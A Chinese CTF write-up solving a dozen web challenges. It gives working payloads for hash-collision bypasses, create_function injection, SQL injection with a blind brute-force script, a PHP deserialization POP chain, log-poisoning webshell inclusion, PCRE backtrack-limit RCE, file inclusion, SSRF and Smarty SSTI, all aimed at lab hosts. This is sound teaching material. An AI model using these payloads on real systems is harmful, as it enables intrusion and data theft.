目录
一、checkin:神奇的Unicode编码
- 复现链接:https://www.ctfer.vip/?#/problem/2035
当我们选中NISACTF的时候,右边居然也选中了Flag。这着实奇怪。
打开F12查看源码发现,这个编码着实奇怪。
我们的根本目的是发送一串字符,让他和所需的字符匹配,那么可以直接进行url编码查看引号中间是什么。
可以发现中间出现了一些奇奇怪怪的东西,于是我们直接构造payload:
ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46
其原理是因为E280AE、E281A6、E281A9这三个特殊的unicode字符,
参考链接:https://mp.weixin.qq.com/s/lo2AiEloACLtCn2Ncle33A
二、level-up:robots.txt泄露,MD5、sha1撞库绕过,parse_url的函数缺陷、create_function注入
-
复现链接:https://www.ctfer.vip/?#/problem/2036
转自官方wp
level1
查看源码发现注释
得到robots.txt信息,访问得到level2路径
level2
参考链接:https://blog.csdn.net/iczfy585/article/details/106081299
md5碰撞绕过===
MD5碰撞
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
这里和上面不同之处在于有一个强制类型转化,若传入数组转化后的结果都是字符串Array。这里需要用到的是MD5碰撞,也就是不同字符串但是MD5后值相同的情况。下面的任意两组字符串内容不同,但md5结果相同。
$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
$s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab"
$s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
官方payload:
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
level3
同上题一样,只不过考的是sha1的强比较绕过,
参考链接:https://www.cnblogs.com/king-kb/p/15531476.html
if(isset($_GET['a']) and isset($_GET['b']))
{
if($_GET['a']==$_GET['b'])
die();
else if(is_array($GET['a']) || is_array($GET['b']))
die();
else if(sha1($_GET['a'])===sha1($_GET['b']))
echo $flag;
else
die();
}
像这样,其中is_array()函数用来检测是否为数组,发现我们没法用数组进行绕过。
搜索发现SHA-1算法已经碰撞成功,原理是构建了两个SHA-1值相同但不一样的pdf文件1.pdf和2.pdf然而如何比较这两个文件的不同之处到底在哪里呢?
通过cmp命令cmp -l 1.pdf 2.pdf
发现不同的部分在前320个字节。
但是如何把这个部分拿去登录呢?
将两个文件的前320个字节用url编码(urlencode),可以构造如下:
/?a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
直接payload打
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
level4
乍一看,考的好像是php字符串解析特性,不过黑名单那里把空格和点号都给禁用了,那剩下的就只有’ [ ‘号了,但是如果构造 NI[SA[ 这个参数的话还是行不通的,因为php在遇到两个’ [ ‘号时,只会把第一个’ [ ‘号转换为’ _ ‘,而第二个不会转换(具体原因看看php源码就知道了,Y4tacker师傅博客有写)所以此题转换一下思路,利用parse_url的函数缺陷,在遇到严重的url不标准时,parse_url函数会返回NULL,即可绕过黑名单限制
payload:http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever
或者,这个地方parse_url判断的只是?后面的字符串,所以可以通过url编码直接绕过
payload:http://1.14.71.254:28023/level_level_4.php?NI%5FSA%5F=txw4ever
level5
其实这个level也是后加的了,本着这题都是(超)老考点的集合,就干脆再加个老考点了,源码取自p神的code_breaking2018的function那题(匿名函数),老考点了就不多说了,直接利用create_function注入达到RCE目的
http://1.14.71.254:28068/55_5_55.php?a=\create_function&b=};print_r(scandir('/'));//
http://1.14.71.254:28068/55_5_55.php?a=\create_function&b=};readfile('/flag');//
三*、join-us:报错注入、无列名注入
- 复现链接:https://www.ctfer.vip/#/problem/2034
进入题目后在登录页面发现sql注入点,输入1’报错,输出1‘# 正常
利用bp扫描一下ban了哪些函数
下面是官方给的blacklist:
$blacklist = "union|left|right|and|by|if|\&|sleep|floor|substr|ascii|=|\"|benchmark|as|column|insert|update|or ";//注意or后面有个空格
可以看到,题目是有回显的,并且黑名单中没有看到extractvalue()函数,所以可以构造报错注入。
按道理,可以用:
1'or(extractvalue(1,concat(0x7e,(select(database())))))#
但是as被ban了,所以database不能用,所以我们用:
1'or(select('da')from(aa))#
-
得到了数据库的名字是sqlsql
接着:利用报错注入得到表名
-1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#
但是database被ban了,所以用'sqlsql'代替
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('sqlsql')))))#
成功回显
这个地方由于把column给ban了,所以需要利用无列名注入。
按照道理:应该用这个语法
select(group_concat(b))from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x
但是union被ban了,瞬间没思路2333
看了官方wp学到了,用join。
- 参考文档:https://www.runoob.com/sql/sql-join.html
SQL JOIN 子句用于把来自两个或多个表的行结合起来,基于这些表之间的共同字段。
最常见的 JOIN 类型:SQL INNER JOIN(简单的 JOIN)。 SQL INNER JOIN 从多个表中返回满足 JOIN 条件的所有行。
直接贴上官方payload
-1' || extractvalue(1,concat(0x7e,(select*from (select*from output a join output b)c)))#
-1' || extractvalue(1,concat(0x7e,(select data from output)))#
很明显并没有回显全面,这里显示右边的函数有right substring mid,前两个被ban了,只能用mid
-1' || extractvalue(1,concat(0x7e,mid((select data from output),20,40)))#
可惜right和substring被ban了,不然下面的payload也可以
-1' || extractvalue(1,concat(0x7e,substring((select data from output),20,40)))#
-1' || extractvalue(1,concat(0x7e,(select right(data,20) from output)))#
最后拼凑出flag即可
四*、hardsql:SQL盲注+Quine
-
复现链接:https://www.ctfer.vip/#/problem/1851
根据题目提示:
必须使用bilala账号来登陆。
首先利用bp进行fuzz一下。发现
过滤了好多函数,下面给出官方的黑名单:
/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i
下面根据白名单构造
username=bilala&passwd=-1'/**/or/**/passwd/**/like/**/'a%'#
盲注构造一个脚本。
import requests
url = "http://124.221.24.137:28655/login.php"
str = "bqwertyuiopasdfghjklzxcvnm0123456789"
flag = ""
for i in range(1, 40):
for j in str:
payload = "-1'/**/or/**/passwd/**/like/**/'{}%'#".format(flag + j)
data = {'username': 'bilala', 'passwd': payload}
res = requests.post(url=url, data=data)
print('[\*]going')
if "wrong password" in res.text:
flag += j
print(flag)
breakprint(flag)
最终得到密码:b2f2d15b3ae082ca29697d8dcd420fd7
登陆之后得到源码:
<?php
//多加了亿点点过滤
include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}
?>
本题的核心内容就是构造这个Quine注入
参考[2021 第五空间]yet_another_mysql_injection这题
参考链接:https://www.cnblogs.com/kingbridge/articles/15818673.html
原题是直接可以用char的,但是这个题把char给ban了,所以可以用chr或者用\x进行十六进制表示
语法
REPLACE ( string_expression , string_pattern , string_replacement )
参数
string_expression 要搜索的字符串表达式。string_expression 可以是字符或二进制数据类型。
string_pattern 是要查找的子字符串。string_pattern 可以是字符或二进制数据类型。string_pattern 不能是空字符串 ('')。
string_replacement 替换字符串。string_replacement 可以是字符或二进制数据类型。
返回类型
如果其中的一个输入参数数据类型为 nvarchar,则返回 nvarchar;否则 REPLACE 返回 varchar。
如果任何一个参数为 NULL,则返回 NULL。
五、babyserialize:反序列化+RCE
-
复现链接:https://www.ctfer.vip/#/problem/1852
先看源码
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}?>
直接给出pop链:
TianXiWei::__wakeup() --> Ilovetxw::__call() --> four::__set() --> Ilovetxw::__toString() --> NISA::__invoke()
构造exp
<?php
//include "waf.php";
class NISA{
public $fun;
public $txw4ever="echo `";
function __construct(){
}
public function __wakeup()
{
if($this->fun=="show_me_flag"){
// hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa('123',array(0=>'dasd'));
}
}
class Ilovetxw{
public $huang;
public $su;
function __construct()
{
}
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a;
private $fun='sixsixsix';
function __construct(){
}
public function __set($name, $value)
{
echo 1;
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
$kkk=new TianXiWei();
$kkk->ext=new Ilovetxw();
$kkk->ext->huang=new four();
$kkk->ext->huang->a=new NISA();
$kkk->ext->huang->a->fun=new Ilovetxw();
$kkk->ext->huang->a->fun->su=new NISA();
print(urlencode(serialize($kkk)));
?>
这个地方修改一句话木马
方法一、利用UA包含执行一句话木马(非预期)
首先试试system类命令,发现都不行,一个个尝试,最后发现没有过滤include,并且没有过滤空格和'和.
那就直接用include包含日志文件,再利用ua注入一句话木马即可
利用
include'/var/log/nginx/access.log'
包含日志
;看看过滤了哪些函数
O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A36%3A%22include+%27%2Fvar%2Flog%2Fnginx%2Faccess.log%27%3B%22%3B%7D%7Ds%3A8%3A%22txw4ever%22%3Bs%3A36%3A%22include+%27%2Fvar%2Flog%2Fnginx%2Faccess.log%27%3B%22%3B%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D
成功包含了日志文件。
下面利用bp抓包,修改ua头以及加一个get请求,发送两次可以看到回显
至于为什么用POST请求不行,我也不太清楚
在下面发现了 fllllllaaag,直接cat一下得到flag
方法二、利用PHP原生类进行查找
这里利用GlobIterator类来查找flag所在文件的名字
再利用SplFileObject类配合php伪协议读取其中的内容
将exp中$N1->txw4ever 的值
修改为
echo new SplFileObject("php://filter/convert.base64-encode/resource=/fllllllaaag");
即
$N1->txw4ever = "echo new SplFileObject(\"php://filter/convert.base64-encode/resource=/fllllllaaag\");"
即可得到flag内容
- ps1:除了GlobIterator类,还有FilesystemIterator和DirectoryIterator类也可以查找文件名,用法为DirectoryIterator(glob:///f*),但是为了让大家知道GlobIterator类自带了glob协议查找,所以waf中过滤了glob
-
ps2:SplFileObject可直接配合文件名读取,wp中写伪协议也是想让大家知道这个类可以配合伪协议用
六*、middlerce
-
复现链接:https://www.ctfer.vip/#/problem/1897
访问后得到源码:
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}?>
这个地方考察PHP利用PCRE回溯次数限制绕过某些安全限制,
大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。
这个地方参考P神的:
PHP利用PCRE回溯次数限制绕过某些安全限制
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
正则表达式的调试器:
https://www.debuggex.com/
https://regex101.com
首先,分析:txw4ever需要进行正则判断,然而所需的cmd来自于txw4ever的json文件中的cmd,那么后边就可以构造一个没有用的变量来造成溢出回溯次数的限制。
但是checkdata(command);中对command的过滤比较严格,根据官方的过滤:
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i
过滤了好多函数,但是读写类,还有tail没过滤的,
过滤了无字母数字,无参数RCE以及绕过disable_function的一些操作,同时也防了一手写马操作这里放出了反引号,
说到反引号很快就想到了echo ls这种命令执行,但是echo被ban了,
但这里又放出了php短标签,所以构造出cmd命令为?>
即可完成RCEflag在/flag,利用大量脏数据触发PCRE的回溯上限,
RCEexp如下:
import requests
payload = '{"cmd":"?><?= `tail /f*`?>","$":"' + "$"*(1000000) + '"}'
res = requests.post("http://1.14.71.254:28044/", data={"letter":payload})
print(res.text)
七、binigdundun~
- 复现链接:https://www.ctfer.vip/#/problem/2026
本题考察的是文件包含漏洞。
本题是个很好的一个文件包含的题目
https://segmentfault.com/a/1190000018991087
点击首页的upload的时候,发现上传界面的url是:
显然这个是文件包含的一个点,
这个题可以上传zip压缩包。
再用zip、phar伪协议读取一句话木马即可。
写好一句话的马马。
上传!
但是自己傻乎乎的犯了一个错误,以后千万别用GET请求
利用phar伪协议,我们成功运行了我们的马马。
八、easyssrf
- 复现链接:https://www.ctfer.vip/#/problem/2025
ssrf先打file:///flag获得提示后再file:///fl4g
你应该看看除了index.php,是不是还有个ha1x1ux1u.php。
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}//flag in /flagecho file_get_contents($file);
最后直接用filter伪协议读取flag
/ha1x1ux1u.php?file=php://filter/read=convert.base64-encode/resource=/flag
九*、babyupload
- 复现链接:https://www.ctfer.vip/#/problem/2025
首先查看源码发现提示/source
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
开始以为是需要绕过这个过滤,看来还是我想多了2333
这个题的点应该是:
这里需要利用os.path.join的bug来进行包含。
使用os.path.join第二个参数的首个字符如果是"/" , 拼接出来的路径会不包含第一个参数。。。
利用:
打开burp,随意上传一个文件,抓到包之后在proxy把文件名改成/flag,直接forward两次,回到浏览器就会看到flag。
直接访问即可得到flag
十、POPchain
-
复现链接:https://www.ctfer.vip/#/problem/2099
本题原题,参考:
http://landasika.top/2022/03/17/mrctf2020ezpop-php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96pop%e9%93%be%e7%9a%84%e7%ae%80%e5%8d%95%e6%9e%84%e9%80%a0/
十一**、midlevel
本题是SSTI注入,这个专题还没开始研究。。。。所以直接复制wp了
-
复现链接:https://www.ctfer.vip/#/problem/2023
提示Build With Smarty,发现是Smarty SSTI;右上角得知是通过IP注入用burp构造在headers添加
X-Forwarded-For:{7+7}
开始注入
Current IP返回14
根据smarty手册返回版本号
X-Forwarded-For:{$smarty.version}
X-Forwarded-For:{$smarty.template}
读取flag
X-Forwarded-For:{if readfile('/flag')}{/if}
十二**、is secret
本题是 flask模板,先复制wp,下次再复现
-
复现链接:https://www.ctfer.vip/#/problem/2102
进入题目页面只有个Welcome To Find Secret
扫目录扫出一个secret目录/secret
在/secret目录中得到Tell me your secret.
I will encrypt it so others can’t see。
尝试传递secret参数 /secret?secret=1。
发现如题目所说的,发送的内容加密了,但是不知道怎么加密了。
修改参数的值进行盲测,发现如果传入的字符串达到一定长度会报错
在网页端进入报错页面 /secret?secret=flag.txt,发现是flask的报错,显示了部分源码。可以看到是flask,python版本是2.7
加密算法使用的是RC4,密钥泄漏了。将所发送内容解密之后会被渲染,因此考虑到可能存在模版注入。
找了一个RC4加密脚本,再次基础上输入密钥并尝试文件读取
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
